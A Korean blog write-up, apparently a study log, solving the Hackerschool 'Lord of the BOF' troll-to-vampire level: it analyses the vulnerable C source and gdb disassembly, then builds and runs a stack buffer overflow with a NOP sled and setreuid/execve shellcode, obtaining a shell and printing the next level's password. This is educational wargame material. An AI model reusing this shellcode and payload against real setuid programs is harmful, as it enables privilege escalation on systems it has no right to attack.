[lob] 해커스쿨 troll -> vampire 풀이

l 해커스쿨 troll 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

troll 문제의 아이디인  troll 와 password인  aspirin  을 입력하여 troll의 유저로 접속합니다.

 

 

 

[troll@localhost troll]$ ls -l
total 16
-rwsr-sr-x    1 vampire  vampire     12103 Mar  2  2010 vampire
-rw-r--r--    1 root     root          550 Mar 29  2010 vampire.c

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/troll ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 vampire.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[troll@localhost troll]$ cat vampire.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include  <stdio.h>
#include  <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

 

 

cat 명령어를 사용하여 vampire.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

 

힌트 코드를 분석해보겠습니다.

1. argc는 2 이상이어야 합니다.

2. argv[1]의 48번째는 \xbf이어야 합니다.

3. argv[1]의 47번째는 \xff가 아니어야 합니다.

 

앞의 문제들에서 우리가 사용해왔던 메모리 주소는 47번째가 \xff였습니다. 따라서 더 많은 문자열을 넣어 기존에 사용하던 메모리 주소보다 낮은 주소를 사용할 수 있도록 해주어야 합니다.

 

 

 

[troll@localhost troll]$ cp vampire troll
[troll@localhost troll]$ ls -l
total 28
-rwsr-sr-x    1 troll    troll       12103 Jan 15 13:26 troll
-rwsr-sr-x    1 vampire  vampire     12103 Mar  2  2010 vampire
-rw-r--r--    1 root     root          550 Mar 29  2010 vampire.c

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 vampire 파일을 복사해 troll이라는 이름의 파일을 하나 생성하였습니다.

 

 

 

[troll@localhost troll]$ gdb troll
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>
       push   %ebp 
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x28,%esp 
0x8048436 <main+6>:     cmpl   $0x1,0x8(%ebp)
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   $0x8048520
0x8048441 <main+17>:    call   0x8048350  <printf>
0x8048446 <main+22>:    add    $0x4,%esp
0x8048449 <main+25>:    push   $0x0
0x804844b <main+27>:    call   0x8048360 <exit>  
0x8048450 <main+32>:    add    $0x4,%esp
0x8048453 <main+35>:    mov    0xc(%ebp),%eax
0x8048456 <main+38>:    add    $0x4,%eax
0x8048459 <main+41>:    mov    (%eax),%edx
0x804845b <main+43>:    add    $0x2f,%edx
0x804845e <main+46>:    cmpb   $0xbf,(%edx)
0x8048461 <main+49>:    je     0x8048480 <main+80>
0x8048463 <main+51>:    push   $0x804852c
0x8048468 <main+56>:    call   0x8048350  <printf>
0x804846d <main+61>:    add    $0x4,%esp
0x8048470 <main+64>:    push   $0x0
0x8048472 <main+66>:    call   0x8048360  <exit>
0x8048477 <main+71>:    add    $0x4,%esp
0x804847a <main+74>:    lea    0x0(%esi),%esi
0x8048480 <main+80>:    mov    0xc(%ebp),%eax
0x8048483 <main+83>:    add    $0x4,%eax
0x8048486 <main+86>:    mov    (%eax),%edx
0x8048488 <main+88>:    add    $0x2e,%edx
0x804848b <main+91>:    cmpb   $0xff,(%edx)
0x804848e <main+94>:    jne    0x80484a7 <main+119>
0x8048490 <main+96>:    push   $0x8048549
0x8048495 <main+101>:   call   0x8048350  <printf>
0x804849a <main+106>:   add    $0x4,%esp
0x804849d <main+109>:   push   $0x0
0x804849f <main+111>:   call   0x8048360  <exit>
0x80484a4 <main+116>:   add    $0x4,%esp
0x80484a7 <main+119>:   mov    0xc(%ebp),%eax
0x80484aa <main+122>:   add    $0x4,%eax
0x80484ad <main+125>:   mov    (%eax),%edx
0x80484af <main+127>:   push   %edx
0x80484b0 <main+128>:   lea    0xffffffd8(%ebp),%eax
0x80484b3 <main+131>:   push   %eax
---Type  to continue, or q  to quit---
0x80484b4 <main+132>:   call   0x8048370  <strcpy>
0x80484b9 <main+137>:   add    $0x8,%esp
0x80484bc <main+140>:   lea    0xffffffd8(%ebp),%eax
0x80484bf <main+143>:   push   %eax
0x80484c0 <main+144>:   push   $0x804855f
0x80484c5 <main+149>:   call   0x8048350  <printf>
0x80484ca <main+154>:   add    $0x8,%esp
0x80484cd <main+157>:   leave
0x80484ce <main+158>:   ret
0x80484cf <main+159>:   nop
End of assembler dump.

 

 

 

gate 파일을 gdb로 분석해보도록 하겠습니다. 
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

 

1. 0x8048433 <main+3>:     sub    $0x28,%esp  

0x28을 10진수로 바꾸면 40입니다. 스택에 40byte를 할당하는 것을 의미합니다.

 

 

2. 0x80484b4 <main+132>:   call   0x8048370  <strcpy>

vampire.c 코드에서 보면 strcpy에는 총 두 개의 인자가 전달됩니다. stack에 push 되는 순서는 argv[1], buffer 순서이기 때문에 두 번째 push 되는 주소인 ebp - [0xffffffd8의 2의 보수]가 buffer의 시작 주소가 됩니다.

 

11011000 => 00100111 => 00101000 = 8 + 32 = 40

buffer의 시작 지점이 ebp - 40부터인 것을 알 수 있습니다. 

 

 

 

메모리 구조를 보면 아래와 같습니다.

 

 

 

스택의 낮은 메모리 주소를 사용하기 위해서 argv[1]에 많은 양의 문자열을 넣어주도록 하겠습니다.

 

 

 

 

(gdb) b *main+137
Breakpoint 1 at 0x80484b9
(gdb) r `python -c 'print "A"*44+"\xaa\xaa\xaa\xbf"+"\x90"*100+"C"*41+"B"*100000'`
Starting program: /home/troll/troll `python -c 'print "A"*44+"\xaa\xaa\xaa\xbf"+"\x90"*100+"C"*41+"B"*100000'`

Breakpoint 1, 0x80484b9 in main ()
(gdb) x/100x $esp
0xbffe73d8:     0xbffe73e0      0xbffe7556      0x41414141      0x41414141
0xbffe73e8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffe73f8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffe7408:     0x41414141      0xbfaaaaaa      0x90909090      0x90909090
0xbffe7418:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7428:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7438:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7448:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7458:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe7468:     0x90909090      0x90909090      0x90909090      0x43434343
0xbffe7478:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffe7488:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffe7498:     0x43434343      0x42424243      0x42424242      0x42424242
0xbffe74a8:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffe74b8:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffe74c8:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffe74d8:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffe74e8:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffe74f8:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffe7508:     0x42424242      0x42424242      0x42424242      0x42424242

 

 

 

strcpy 다음에 breakpoint를 걸어주고 실행시켜보았습니다.

1. buffer공간과 sfp공간을 A로 채워주었습니다.

2. \xaa ~ \xbf 공간은 페이로드의 return 부분입니다.

3. \x90*100는 셸 코드의 앞 부분, C는 셸 코드가 들어갈 부분입니다.

4. B는 스택의 낮은 메모리 주소를 사용하기위해 넣은 부분입니다.

 

C 부분이 셸 코드가 들어갈 위치이기 때문에 페이로드에서 return 부분에 C의 시작 주소가 들어가야 합니다. 즉 0xbffe7434를 return에 넣어줄 것입니다.

 

 

 

페이로드를 구성해보도록 하겠습니다.

buffer + sfp [44byte] + ret[4byte] + \x90*100 + [셸 코드] + B*100000 이런 형태가 나올 것이고, ret과 셸 코드를 채워보면 아래와 같습니다.

 

 

| 페이로드

./vampire `python -c 'print "\x90"*44+"\x34\x74\xfe\xbf"+"\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*100000'`

 

 

 

[troll@localhost troll]$ bash2
[troll@localhost troll]$ ./vampire `python -c 'print "\x90"*44+"\x34\x74\xfe\xbf"+"\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*100000'`
4tþ¿1À°1Í€‰Ã‰Á1À°FÍ€1ÀPh//shh/bin‰ãPS‰á‰Â°
                                          Í€
bash$ id
uid=509(vampire) gid=508(troll) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world

 

 

 

bash2를 입력 후 위의 페이로드를 넣었습니다. id 명령어를 입력하게 되면 uid가 vampire라는 것을 확인할 수 있고, my-pass를 입력하면 vampire user의 패스워드를 알 수 있습니다.

 

 

 

l vampire 비밀번호

더보기

euid = 509
music world

 

이 글을 공유하기

댓글

Designed by JB FACTORY